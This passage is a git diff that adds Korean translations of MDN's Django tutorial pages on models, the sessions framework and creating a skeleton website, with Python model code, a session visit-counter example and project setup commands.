+        """String for representing the Model object."""
+        return self.title
+
+    def get_absolute_url(self):
+        """Returns the url to access a detail record for this book."""
+        return reverse('book-detail', args=[str(self.id)])
+</pre>
+
+<p>장르는 책이 여러 개의 장르를 가지고, 장르도 여러 개의 책을 가질 수 있는 다대다 필드(<code>ManyToManyField</code>)입니다. 저자는 <code>ForeignKey</code> 로 선언됩니다. 따라서 각각의 책은 하나의 저자만 가질 수 있지만, 저자는 여러 개의 책들을 가질 수 있습니다(실제로는 책이 여러 명의 작가를 가질 수 있지만, 이 구현에서는 아닙니다!).</p>
+
+<p> 두 필드 타입들 안에서 관련된 모델 클래스는 모델 클래스나 관련된 모델의 이름을 포함하는 문자열을 사용하여 이름없는 첫 번째 매개 변수로 선언됩니다. 연관된 클래스가 참조되기 전에 파일 안에서 아직 정의되지 않았다면 모델의 이름을 문자열로 사용해야 합니다! 저자 ( <code>author</code> )필드에서 관심을 가져야 할 다른 변수는 <code>null=True</code>와 <code>on_delete=models.SET_NULL</code>입니다. <code>null=True</code>는 어떤 저자도 선택되지 않았다면 데이터베이스에 <code>Null</code> 값을 저장하도록 하고, <code>on_delete=models.SET_NULL</code>은 관련된 저자(author) 레코드가 삭제되었을 때 저자(author)의 값을 <code>Null</code>로 설정할 겁니다.</p>
+
+<p>모델은 또한  <code>Book</code> 레코드를 나타내는 책의 <code>title</code> 필드를 사용하여 <code>__str__()</code> 를 정의합니다. 마지막 메소드 <code>get_absolute_url()</code> 은 이 모델의 세부 레코드에 접근하는 데에 사용될 수 있는 URL을 반환합니다 (이것이 작동하도록 하기 위해선 <code>book-detail</code>이라는 이름의 URL 매핑을 정의하고, 관련 뷰와 탬플릿을 정의해야 합니다).</p>
+
+<h3 id="책_인스턴스BookInstance_모델">책 인스턴스(BookInstance) 모델</h3>
+
+<p> 다음으로,  <code>BookInstance</code> 모델(아래에 있는)을 다른 모델들 아래에 복사하세요. <code>BookInstance</code> 은 누군가 빌릴지도 모를 특정한 책의 복사본을 나타냅니다. 그리고 복사본이 사용 가능한지 여부, 언제 되돌려받을 수 있을지, "출판사(imprint)" 또는 버전 세부 사항, 그리고 도서관 안에 있는 책의 고유 id에 대한 정보를 포함합니다.</p>
+
+<p> 이제 몇몇 필드와 메소드는 친숙할 겁니다. BookInstance 모델은 아래를 사용합니다</p>
+
+<ul>
+ <li><code>ForeignKey</code> : 연관된 <code>Book</code> 을 식별하기 위해(각각의 책은 많은 복사본을 가질 수 있지만, 복사본은 하나의 <code>Book</code>만을 가질 수 있음).</li>
+ <li><code>CharField</code> : 책의 출판사(imprint)(특정한 발간일)을 나타내기 위해.</li>
+</ul>
+
+<pre class="brush: python notranslate">import uuid # Required for unique book instances
+
+class BookInstance(models.Model):
+    """Model representing a specific copy of a book (i.e. that can be borrowed from the library)."""
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, help_text='Unique ID for this particular book across whole library')
+    book = models.ForeignKey('Book', on_delete=models.SET_NULL, null=True)
+    imprint = models.CharField(max_length=200)
+    due_back = models.DateField(null=True, blank=True)
+
+    LOAN_STATUS = (
+        ('m', 'Maintenance'),
+        ('o', 'On loan'),
+        ('a', 'Available'),
+        ('r', 'Reserved'),
+    )
+
+    status = models.CharField(
+        max_length=1,
+        choices=LOAN_STATUS,
+        blank=True,
+        default='m',
+        help_text='Book availability',
+    )
+
+    class Meta:
+        ordering = ['due_back']
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return f'{self.id} ({self.book.title})'</pre>
+
+<p>추가적으로 몇 가지 새로운 타입의 필드를 선언합니다:</p>
+
+<ul>
+ <li> <code>UUIDField</code> 는 <code>id</code> 필드가 이 모델의 <code>primary_key</code> 로 설정되는 데 사용됩니다. 이 타입의 필드는 각 인스턴스에 전역적으로 고유한 값을 할당합니다 (도서관에서 찾을 수 있는 모든 책 마다 하나씩).</li>
+ <li><code>DateField</code> 는 <code>due_back</code> (만기일) 날짜에 사용됩니다 (책이 빌려지거나 유지 보수된 이후 사용할 수 있을 것으로 예상되는 날짜). 이 값은 <code>blank</code> 나 <code>null</code> 이 될 수 있습니다(책을 사용하 할 수 있는 경우 필요). 메타데이터 모델 (<code>Class Meta</code>) 은 레코드들이 쿼리에서 반환되었을 때 레코드들을 정렬하기 위해서 이 필드를 사용합니다 .</li>
+ <li><code>status</code> 는 선택/선택 목록(choice/selection list)을 정의하는 <code>CharField</code> 입니다. 보시다시피, 우리는 열쇠-값(key-value) 쌍의 튜플(tuple)을 포함하는 튜플을 정의해서 choices 인자에 전달합니다. 열쇠/값(key/value) 쌍에서 값(value)은 사용자가 선택할 수 있는 표시값인 반면, 열쇠(key)는 그 옵션이 선택되었을 때 실제로 저장되는 값입니다. 또한 책이 선반에 저장되기 전에는 사용할 수 없으므로 기본값인 'm'(유지 관리, maintenanace)을 설정했습니다.</li>
+</ul>
+
+<p> 모델 <code> __str__()</code>  은 그것의 고유한 id 그리고 연관된 <code>Book</code>의 제목을 조합하여 <code>BookInstance</code> 객체를 나타냅니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 조금의 파이썬:</p>
+
+<ul>
+ <li>파이썬 3.6에서부터 문자열 보간 구문을 쓸 수 있습니다 (f-strings로 잘 알려진): <code>f'{self.id} ({self.book.title})'</code>.</li>
+ <li>이 튜토리얼의 옛 버전에서는 <a href="https://www.python.org/dev/peps/pep-3101/">formatted string</a> 구문을 사용했고, 이것 또한 파이썬 안에 문자열을 형식화(formatting)하는 유효한 방법입니다 (예 : <code>'{0} ({1})'.format(self.id,self.book.title)</code>).</li>
+</ul>
+</div>
+
+<h3 id="저자Author_모델">저자(Author) 모델</h3>
+
+<p> <strong>models.py </strong>안에 작성된 코드 아래에 <code>Author</code> 모델을 복사 붙여넣기 하세요 (아래에 있습니다).</p>
+
+<p> 이제 모든 필드/메소드들이 익숙할 겁니다. 모델은 저자를 이름(first name), 성(last name), 생일, 그리고 (선택적으로) 사망일을 가진다고 정의합니다. 기본적으로 <code>__str__()</code> 는 name을 첫째로 성(last name), 그 다음 이름(first name)이 오는 순서로 반환합니다. <code>get_absolute_url()</code> 메소드는 개별 저자를 나타내기 위한 URL을 가져오기 위해 <code>author-detail</code> URL 매핑을 반대로 합니다.</p>
+
+<pre class="brush: python notranslate">class Author(models.Model):
+    """Model representing an author."""
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    class Meta:
+        ordering = ['last_name', 'first_name']
+
+    def get_absolute_url(self):
+        """Returns the url to access a particular author instance."""
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return f'{self.last_name}, {self.first_name}'
+
+</pre>
+
+<h2 id="데이터베이스_마이그레이션_재실행하기"> 데이터베이스 마이그레이션 재실행하기</h2>
+
+<p> 모든 모델이 생성되었습니다. 이제 데이터베이스 migration을 재실행하여 모델들을 데이터베이스에 추가하세요.</p>
+
+<pre class="notranslate"><code>python3 manage.py makemigrations
+python3 manage.py migrate</code></pre>
+
+<h2 id="도전과제_-_언어Language_모델">도전과제 - 언어(Language) 모델</h2>
+
+<p> 지역 후원자가 다른 언어로 저술된 새로운 책들을 후원한다고 생각해 보세요(아마도, 프랑스어?). 도전과제는 이것이 도서관 웹사이트에서 이것을 가장 잘 나타낼 수 있는 방법을 찾아내고, 모델에 추가하는 것입니다.</p>
+
+<p>고려해야 할 사항들:</p>
+
+<ul>
+ <li>"언어"(language)는 <code>Book</code>, <code>BookInstance</code>, 아니면 어떤 다른 객체와 연관되어야 할까요?</li>
+ <li> 서로 다른 언어들은 모델로 나타내어야 할까요? 아니면 자유 텍스트 필드?그것도 아니라면 하드-코딩된 선택 리스트로 나타내어야 할까요?</li>
+</ul>
+
+<p>결정을 내린 후에, 필드를 추가하세요. 우리가 선택한 것은 여기(<a href="https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py">here</a>) 깃허브에서 볼 수 있습니다.</p>
+
+<ul>
+</ul>
+
+<ul>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p> 이 글에서 우리는 모델이 어떻게 정의되는지 배웠고, 이 정보를 지역 도서관 웹사이트를 위한 적절한 모델을 설계하고 구현하기 위해 사용했습니다.</p>
+
+<p>At this point we'll divert briefly from creating the site, and check out the <em>Django Administration site</em>. This site will allow us to add some data to the library, which we can then display using our (yet to be created) views and templates.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial02/">Writing your first Django app, part 2</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/db/queries/">Making queries</a> (Django Docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/querysets/">QuerySet API Reference</a> (Django Docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</p>
+
+
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/django/sessions/index.html b/files/ko/learn/server-side/django/sessions/index.html
new file mode 100644
index 0000000000..59634c6c36
--- /dev/null
+++ b/files/ko/learn/server-side/django/sessions/index.html
@@ -0,0 +1,190 @@
+---
+title: 'Django Tutorial Part 7: Sessions framework'
+slug: Learn/Server-side/Django/Sessions
+translation_of: Learn/Server-side/Django/Sessions
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">이 튜토리얼에서는 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> website을 확장시킬 것입니다. 방문 수를 셀 수 있는 session-based 기능을 더한 홈페이지입니다. 이것은 상대적으로 간단한 예제인데, 이는 당신의 홈페이지에서 익명의 유저들에게 지속적으로 서비스를 제공하는 session framework의 사용법입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>Complete all previous tutorial topics, including <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>To understand how sessions are used.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>이전 튜토리얼에서 우리가 만든 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> website는 카탈로그에서 유저가 책과 저자를 검색할 수 있도록 합니다. 컨텐츠가 Database로부터 다이나믹하게 생성되기 때문에, 모든 유저는 사용시에 필수적으로 같은 페이지와 정보 타입에 필수적으로 접근할 것입니다.</p>
+
+<p>실제 도서관에서는 각각의 유저들에게 그들의 이전 사이트 사용과 선호 등에 기반한 커스텀된 경험을 제공하고 싶을지도 모릅니다 . 예를 들어, 유저가 이미 알고 있는 경고 메세지들을 숨길 수도 있습니다. 그 유저들이 다음에 사이트를 방문하거나 그들의 선호사항(e.g. 그들이 각 페이지에서 보여지길 원하는 검색의 결과 수)에 대해서 저장하는 것을 말합니다. </p>
+
+<p>session framework는 당신이 이 행동의 분류하도록 하며, 각 사이트 방문자에 기반한 임의의 데이터를 검색하거나 저장하도록 합니다. </p>
+
+<h2 id="세션이란">세션이란?</h2>
+
+<p>웹 브라우저와 서버가 HTTP 프로토콜을 통해서 하는 모든 커뮤니케이션은 무상태(stateless)라고 합니다. 프로토콜이 무상태라는 뜻은 클라이언트와 서버 사이의 메시지가 완벽하게 각각 독립적이라는 뜻입니다. — 여기엔 이전 메시지에 근거한 행동이나 순서(sequence)라는 것이 존재하지 않습니다. 결국, 만약 사이트가 클라이언트와 계속적인 관계를 유지하는 것을 당신이 원한다면, 당신이 직접 그 작업을 해야합니다.</p>
+
+<p>세션이라는 것은 Django 그리고 대부분의 인터넷에서 사용되는 메카니즘으로, 사이트와 특정 브라우저 사이의 "state"를 유지시키는 것입니다. 세션은 당신이 매 브라우저마다 임의의 데이터를 저장하게 하고, 이 데이터가 브라우저에 접속할 때 마다 사이트에서 활용될 수 있도록 합니다. 세션에 연결된 각각의 데이터 아이템들은 "key"에 의해 인용되고, 이는 또다시 데이터를 찾거나 저장하는 데에 이용됩니다.</p>
+
+<p>장고는 특정 <em>session id</em> 를 포함하는 쿠키를 사용해서 각각의 브라우저와 사이트가 연결된 세션을 알아냅니다. 실질적인 세션의 <em>data</em> 사이트의 Database에 기본 설정값으로 저장됩니다 (이는 쿠키안에 데이터를 저장하는 것보다 더 보안에 유리하고, 쿠키는 악의적인 사용자에게 취약합니다). 당신은 Django를 다른 장소 (캐시, 파일, "보안이 된" 쿠키)에 저장하도록 설정할 수 있지만, 그러나 기본 위치가 상대적으로 더 안전합니다.</p>
+
+<h2 id="세션_사용설정하기">세션 사용설정하기</h2>
+
+<p>세션설정은 처음에 skeleton website를 생성했을 때 (in tutorial 2) 자동으로 사용할 수 있도록 설정되었습니다. </p>
+
+<p>세션사용설정은 프로젝트 settings.py에서 아래와 같이 <code>INSTALLED_APPS</code> 와 <code>MIDDLEWARE</code> 부분에 있습니다.</p>
+
+<pre class="brush: python">INSTALLED_APPS = [
+    ...
+<strong>    'django.contrib.sessions',</strong>
+    ....
+
+MIDDLEWARE = [
+    ...
+<strong>    'django.contrib.sessions.middleware.SessionMiddleware',</strong>
+    ....</pre>
+
+<h2 id="세션_사용하기">세션 사용하기</h2>
+
+<p><code>session</code> 속성은 <code>request</code> parameter 에서 파생된 view 안에 있습니다. ( view 로 전달되는 H<code>ttpRequest </code>  의 첫번째 함수 ). 이 세션의 속성은 현재의 사용자(정확히는 브라우저) 의 site 에 대한 connection 을 의미합니다. 브라우저의 cookie 안에 정의 되어 있습니다.</p>
+
+<p>이 <code>session</code>  속성은 사전 같은 객체인데 여러번 읽고 쓰고 심지어 수정까지 가능합니다.여러분은 다양한 dictionary 연산 - 즉, 모든 데이타 삭제, Key 가 존재하는지 데이타를 통한 looping 기타등등. 무엇보다 표준적인 "dictionary" API 를 통해 값을 가져오거나 저장 할 수 있습니다.</p>
+
+<p>아래 코드는 key 값이 "my_car" 인 데이타를 어떻게 읽고 쓰고 삭제하는지 보여줍니다. 물론 그 key 값은 현재의 session (브자우져와 싸이트의 연결정보) 과 연관되어진 key 입니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 장고가 대단한점 한가지는 여러분이 이런 session 의 매카니즘에 생각하지 않게끔 한다는 점입니다. 만일 view 안에 있는 아래의 code 를 사용하면 <strong>오직 현재의 브라우저만</strong>이 현재의 request 에 관한  <code>my_car</code>  정보를 알 수 있다는 겁니다. </p>
+</div>
+
+<pre class="brush: python"># Get a session value by its key (e.g. 'my_car'), raising a KeyError if the key is not present
+my_car = request.session['my_car']
+
+# Get a session value, setting a default if it is not present ('mini')
+my_car = request.session.get('my_car', 'mini')
+
+# Set a session value
+request.session['my_car'] = 'mini'
+
+# Delete a session value
+del request.session['my_car']
+</pre>
+
+<p>이 API 는 또한 여러가지 다른 방법을 제공하는데 그들은 대부분 관련된 session cookie 를 다루는데 사용되는 것들 입니다. 예를 들어, 그 cookies 가 사용자의 브라우져에서 지원이 되는지 태스트하거나, 만기일을 알아본다던지, 만기된 session 을 삭제 한다던지. 좀더 알아보고 싶다면 <a href="https://docs.djangoproject.com/en/2.0/topics/http/sessions/">How to use sessions</a> (Django docs) 에서 그 API 를 배울수 있습니다.</p>
+
+<h2 id="세션_데이터_저장하기">세션 데이터 저장하기</h2>
+
+<p>기본적으로 장고는 세션 데이타를 세션 database 에 저장합니다. 그리고 그 session cookie 를 필요할때  client 에게로 내려보내는 거지요. 즉, session 정보가 변경되었거나 삭제 되었을떄. 앞장에서 기술한것처럼, 만일 session key 값을 이용해서 어떤 정보가 변경이 되었다면 우리는 이에 대해 염려 할 필요가 없습니다.예를 들자면 : </p>
+
+<pre class="brush: python"># This is detected as an update to the session, so session data is saved.
+request.session['my_car'] = 'mini'</pre>
+
+<p>만일 당신이 session data 안에 있는 어떤 정보를 수정 했다면 장고는 여러분이 수정한걸 알아채지 못합니다. (예를 들어, 만일 "my_car" 안의 "wheels" 정보를 수정 했다면 ). 이경우 명시적으로 그 session 이 수정 되었다고 아래의 코드처럼 표현해 주어야 합니다.</p>
+
+<pre class="brush: python"># Session object not directly modified, only data within the session. Session changes not saved!
+request.session['my_car']['wheels'] = 'alloy'
+
+# Set session as modified to force data updates/cookie to be saved.
+<code>request.session.modified = True</code>
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can change the behavior so the site will update the database/send cookie on every request by adding <code>SESSION_SAVE_EVERY_REQUEST = True</code> into your project settings (<strong>locallibrary/locallibrary/settings.py</strong>).</p>
+</div>
+
+<h2 id="간단한_예제_—_방문자수_받아오기">간단한 예제 — 방문자수 받아오기</h2>
+
+<p>간단한 실제 예제로서, 우리는 현재 유저가 LocalLibrary 홈페이지에 몇 번이나 방문했는지 알려주도록 업데이트할 것입니다.  <strong>/locallibrary/catalog/views.py</strong> 을 열고 밑에 굵게 표시된 부분을 추가해서 바꿔봅시다. </p>
+
+<pre class="brush: python">def index(request):
+    ...
+
+    num_authors = Author.objects.count()  # The 'all()' is implied by default.
+
+<strong>    # Number of visits to this view, as counted in the session variable.
+    num_visits = request.session.get('num_visits', 0)
+    request.session['num_visits'] = num_visits + 1</strong>
+
+<strong>    context = {
+        'num_books': num_books,
+        'num_instances': num_instances,
+        'num_instances_available': num_instances_available,
+        'num_authors': num_authors,
+        'num_visits': num_visits,
+    }</strong>
+
+    # Render the HTML template index.html with the data in the context variable.
+    return render(request, 'index.html', context=context)</pre>
+
+<p>먼저 <code>'num_visits'</code> 세션 키 값을 가져오도록 합니다, 그리고 만약 전에 방문한적이 없다면 0이 되도록 합니다. 매번 요청받을 때 마다, 값을 증가시키고 세션에 값을 저장합니다 (유저의 다음 방문을 위해서요). context 변수를 통해 template에 <code>num_visits</code> 변수가 전달됩니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>:  이 지점에서 우리는 브라우저가 쿠키를 지원하는 지 그렇지 않은지 테스트할 수도 있습니다(예제로서 <a href="https://docs.djangoproject.com/en/2.0/topics/http/sessions/">How to use sessions</a> 를 보도록하십시오). 또한 쿠키를 지원하는 지와는 별개로 UI를 디자인할 것입니다.  </p>
+</div>
+
+<p>메인 HTML template(<strong>/locallibrary/catalog/templates/index.html</strong>) "Dynamic content"  섹션 밑 부분에 context 변수가 보일 수 있도록 밑에 보이는 굵은 선으로 표시된 코드를 추가해주세요:</p>
+
+<pre class="brush: html">&lt;h2&gt;Dynamic content&lt;/h2&gt;
+
+&lt;p&gt;The library has the following record counts:&lt;/p&gt;
+&lt;ul&gt;
+  &lt;li&gt;&lt;strong&gt;Books:&lt;/strong&gt; \{{ num_books }}&lt;/li&gt;
+  &lt;li&gt;&lt;strong&gt;Copies:&lt;/strong&gt; \{{ num_instances }}&lt;/li&gt;
+  &lt;li&gt;&lt;strong&gt;Copies available:&lt;/strong&gt; \{{ num_instances_available }}&lt;/li&gt;
+  &lt;li&gt;&lt;strong&gt;Authors:&lt;/strong&gt; \{{ num_authors }}&lt;/li&gt;
+&lt;/ul&gt;
+
+<strong>&lt;p&gt;You have visited this page \{{ num_visits }}{% if num_visits == 1 %} time{% else %} times{% endif %}.&lt;/p&gt;</strong>
+</pre>
+
+<p>바뀐 것을 저장해주시고 테스트 서버를 재시작해주세요. 페이지를 새로고침할 때 마다, 숫자가 업데이트되는 것을 보실 수 있을겁니다.</p>
+
+<ul>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p>익명 유저와의 상호작용을 증대하기 위해 세션을 이용하는 것이 얼마나 쉬운일인지 알 수 있었습니다. </p>
+
+<p>다음 장에서는, 인증과 권한부여(허가)에 관한 프레임워크를 설명할 것입니다. 그리고 유저 계정을 어떻게 지원할 수 있는지를 보도록 하죠. </p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/http/sessions/">How to use sessions</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/Authentication", "Learn/Server-side/Django")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/server-side/django/skeleton_website/index.html b/files/ko/learn/server-side/django/skeleton_website/index.html
new file mode 100644
index 0000000000..b514a6ee61
--- /dev/null
+++ b/files/ko/learn/server-side/django/skeleton_website/index.html
@@ -0,0 +1,398 @@
+---
+title: '장고 튜토리얼 강좌 2 : 뼈대 사이트 만들기'
+slug: Learn/Server-side/Django/skeleton_website
+tags:
+  - 가이드
+  - 입문서
+  - 장고
+  - 초심자
+  - 튜토리얼
+translation_of: Learn/Server-side/Django/skeleton_website
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</div>
+
+<p class="summary"><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">장고 튜트리얼</a>의 두 번째 기사에서는 웹 사이트 프로젝트의 기본 뼈대(skeleton)를 만들고, 사이트의 특성에 맞춰 설정, 경로, 모델, 뷰 및 템플릿을 다루는 방법을 보여줍니다. </p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 준비:</th>
+   <td><a href="/en-US/docs/Learn/Server-side/Django/development_environment">장고 개발 환경을 설치하세요. (Set up a Django development environment.)</a> <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">장고 튜트리얼</a>을 복습하세요.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>당신만의 새로운 웹사이트 프로젝트를 시작하기 위해 장고의 도구들을 사용할 수 있는 능력 기르기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>이 글은 웹사이트의 "뼈대"를 생성하는 법을 보여줍니다. 그리고 이 사이트는 사이트에 특화된 설정, 경로, 모델, 뷰, 템플릿 등을 작성할 수 있습니다. (이후 글에서 이것들에 관해 다루겠습니다)</p>
+
+<p>과정은 직관적입니다:</p>
+
+<ol>
+ <li><span style="line-height: 1.5;">프로젝트 폴더, 기본적인 파일 템플릿과 프로젝트 관리 스크립트(</span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;">)를 만들기 위해서 </span><code style="font-style: normal; font-weight: normal; line-height: 1.5;">django-admin</code><span style="line-height: 1.5;">을 사용합니다.</span></li>
+ <li><span style="line-height: 1.5;">하나 또는 그 이상의 애플리케이션을 만들기 위해서 </span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;">를 사용합니다.</span>
+  <div class="note">
+  <p><strong>Note</strong>: 하나의 웹사이트는 하나 또는 그 이상의 섹션으로 구성될 수 있습니다. (예를 들어 main site, blog, wiki, downloads area 등). 장고는 필요할 때에 다른 프로젝트에서 재사용이 가능할 수 있게 , 이 요소들을 분리된 어플리케이션으로 개발하는 것을 추천합니다.</p>
+  </div>
+ </li>
+ <li><span style="line-height: 1.5;">프로젝트에 포함시키기 위해 새 어플리케이션들을 등록(register)합니다. </span></li>
+ <li><span style="line-height: 1.5;">각 어플리케이션에 대해 url/mapper를 연결(hook up)합니다.</span></li>
+</ol>
+
+<p><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library website</a> 용으로 웹사이트 폴더와 프로젝트 폴더는 locallibrary라고 이름지어질 것입니다. 그리고 catalog라는 단 하나의 어플리케이션을 가질 겁니다. 그러므로 최상위 폴더 구조는 아래와 같습니다:</p>
+
+<pre class="brush: bash notranslate"><em>locallibrary/         # Website folder</em>
+    <strong>manage.py         </strong># Script to run Django tools for this project (created using django-admin)
+    <em>locallibrary/     # Website/project folder </em>(created using django-admin)
+    <em>catalog/          # Application folder </em>(created using manage.py)
+</pre>
+
+<p><span style="line-height: 1.5;">다음 섹션에서는 프로세스 단계를 자세히 설명하고 변화를 테스트할 수 있는 방법을 설명합니다. 글의 마지막에서 당신이 이 단계에서 수행해야 하는 몇 가지 다른 사이트 전체 설정에 관해 논의합니다.</span></p>
+
+<h2 id="프로젝트_만들기">프로젝트 만들기</h2>
+
+<p>먼저 명령 프롬프트 또는 터미널을 열어서, 당신이 <a href="/en-US/docs/Learn/Server-side/Django/development_environment#Using_a_virtual_environment">virtual environment</a> 안에 있는지 확인하고, 어디에 당신의 <span style="line-height: 1.5;">장고 앱을 (당신의 '문서'와 같이 찾기 쉬운 어딘가로 하세요) 저장하기 원하는지 탐색합니다. 그리고 당신의 새로운 웹사이트 폴더를 만드세요 (이 예제에서는: </span><em>locallibrary</em>). 그리고 cd 명령어를 사용하여 해당 폴더로 들어가세요:</p>
+
+<pre class="brush: bash notranslate">mkdir locallibrary
+cd locallibrary
+</pre>
+
+<p>다음과 같이 <code>django-admin startproject</code> 명령을 사용하여 새로운 프로젝트를 만들고, 그 폴더 안으로 들어가세요. (변역자주: 실제 해보니 위의 문장은 하지 말아야 합니다. 하나의 parent folder 가 더 만들어집니다. 즉, locallibrary-locallibrary-locallibrary )</p>
+
+<pre class="brush: bash notranslate">django-admin startproject locallibrary
+cd locallibrary</pre>
+
+<p><code>django-admin</code> 도구가 아래와 같이 폴더/파일 구조를 생성합니다. (번역자주: 윈도우 환경에서는 <code>tree /f locallibrary_path</code> 명령으로 구조를 확인할 수 있습니다.)</p>
+
+<pre class="brush: bash notranslate"><em>locallibrary/</em>
+    manage.py
+    <em>locallibrary/</em>
+        __init__.py
+        settings.py
+        urls.py
+        wsgi.py</pre>
+
+<p>locallibrary 프로젝트의 하위 폴더는 웹사이트의 시작점입니다:</p>
+
+<ul>
+ <li><strong>__init__.py</strong>는 빈 파일입니다. 이 파일은 파이썬에게 이 디렉토리를 하나의 파이썬 패키지로 다루도록 지시합니다.</li>
+ <li><strong>settings.py</strong>는 웹사이트의 모든 설정을 포함하고 있습니다. 이 파일에는 우리가 만드는 모든 어플리케이션, 정적 파일의 위치, 데이터베이스 세부 설정 등을 등록합니다. </li>
